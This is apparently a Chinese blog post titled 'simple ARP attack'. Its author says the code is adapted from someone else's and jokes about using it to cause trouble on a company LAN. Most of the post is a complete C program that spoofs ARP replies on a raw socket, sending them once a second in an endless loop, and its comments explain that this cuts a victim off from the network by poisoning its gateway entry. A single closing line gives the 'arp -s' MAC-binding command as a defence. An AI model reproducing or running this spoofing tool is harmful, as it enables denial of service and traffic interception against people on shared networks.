简单的arp攻击

由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.


#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

void die(char *str) {
fprintf(stderr,"%s\n", str);
exit(1);
}

typedef struct {
//以太网首部
u_char targ_hw_addr[6]; //广播mac地址
u_char src_hw_addr[6]; //源mac地址
u_short frame_type; //帧类型

//28字节arp请求 应答
u_short hw_type; //硬件类型
u_short prot_type; //协议类型
u_char hw_addr_size; //硬件地址长度
u_char prot_addr_size; //协议地址长度
u_short op; //操作类型
u_char sndr_hw_addr[6]; //发送端源mac地址
u_char sndr_ip_addr[4]; //发送端源ip地址
u_char rcpt_hw_addr[6]; //目的mac地址
u_char rcpt_ip_addr[4]; //目的ip地址
u_char padding[18];
} ARP_PACKET;

ARP_PACKET createPacket(char bro_hw[]) {
int size, j;
ARP_PACKET arppacket;

size = 42;
bzero(&arppacket, size);

//dec_hw 发给攻击目标的 ip mac 映射 被攻击者的arp映射表会被改掉 如果这个ip是被攻击者网关他就上不了网了
//xp下执行 例如: arp -s 192.168.0.4 00-14-78-81-47-7f 就可以绑定mac地址了。
char dec_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char dec_ip[] = { 0xc0, 0xa8, 0x00, 0x04 };//192.168.0.4


//src_hw 假冒这个人 ip mac
char src_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char src_ip[] = { 0xc0, 0xa8, 0x00, 0x04 }; //192.168.0.4

arppacket.op = htons(0x0002); //操作类型 OP_ARP_QUEST 1 OP_ARP_REQUEST 2

//----------------------------------------------------
//以太网首部
printf("1.广播mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.targ_hw_addr[j] = bro_hw[j];
}

printf("2.源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.src_hw_addr[j] = src_hw[j];
}

printf("3.帧类型 ARP_FRAME_TYPE\r\n");
arppacket.frame_type = htons(0x0806);
//----------------------------------------------------
//28字节
printf("4.arp请求 应答\r\n");
arppacket.hw_type = htons(0x0001); //硬件类型
arppacket.prot_type = htons(0x0800); //协议类型
arppacket.hw_addr_size = 6; //硬件地址长度
arppacket.prot_addr_size = 4; //协议地址长度

printf("发送端源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.sndr_hw_addr[j] = src_hw[j];
}

printf("目的mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.rcpt_hw_addr[j] = dec_hw[j];
}

printf("发送端源ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.sndr_ip_addr[j] = src_ip[j];
}

printf("目的ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.rcpt_ip_addr[j] = dec_ip[j];
}

printf("padding\r\n");
bzero(arppacket.padding, 18);

printf("start send\r\n");

return arppacket;
}

int main(int argc, char * argv[]) {
int sock, size, bytes_send;
struct sockaddr sin;
strcpy(sin.sa_data, "eth2");
//bro_hw 攻击目标的mac地址
// char bro_hw[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//所有
char bro_hw[] = { 0x00, 0x1D, 0x7D, 0xC9, 0x28, 0x31 };//

ARP_PACKET arppacket = createPacket(bro_hw);
// ARP_PACKET arppacket2 = createPacket(bro_hw2);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0) {
printf("create socket error!\r\n");
exit(1);
} else {
printf("create socket!\r\n");
}

while (1) {
bytes_send = sendto(sock, &arppacket, sizeof(arppacket), 0, &sin, sizeof(sin));
// bytes_send = sendto(sock, &arppacket2, sizeof(arppacket2), 0, &sin, sizeof(sin));
sleep(1);
}
printf("end send\r\n");
return 0;
}

防止arp攻击,绑定mac
在xp下用命令：arp -s 192.168.0.4 00-14-78-81-47-7f就可以绑定mac地址了。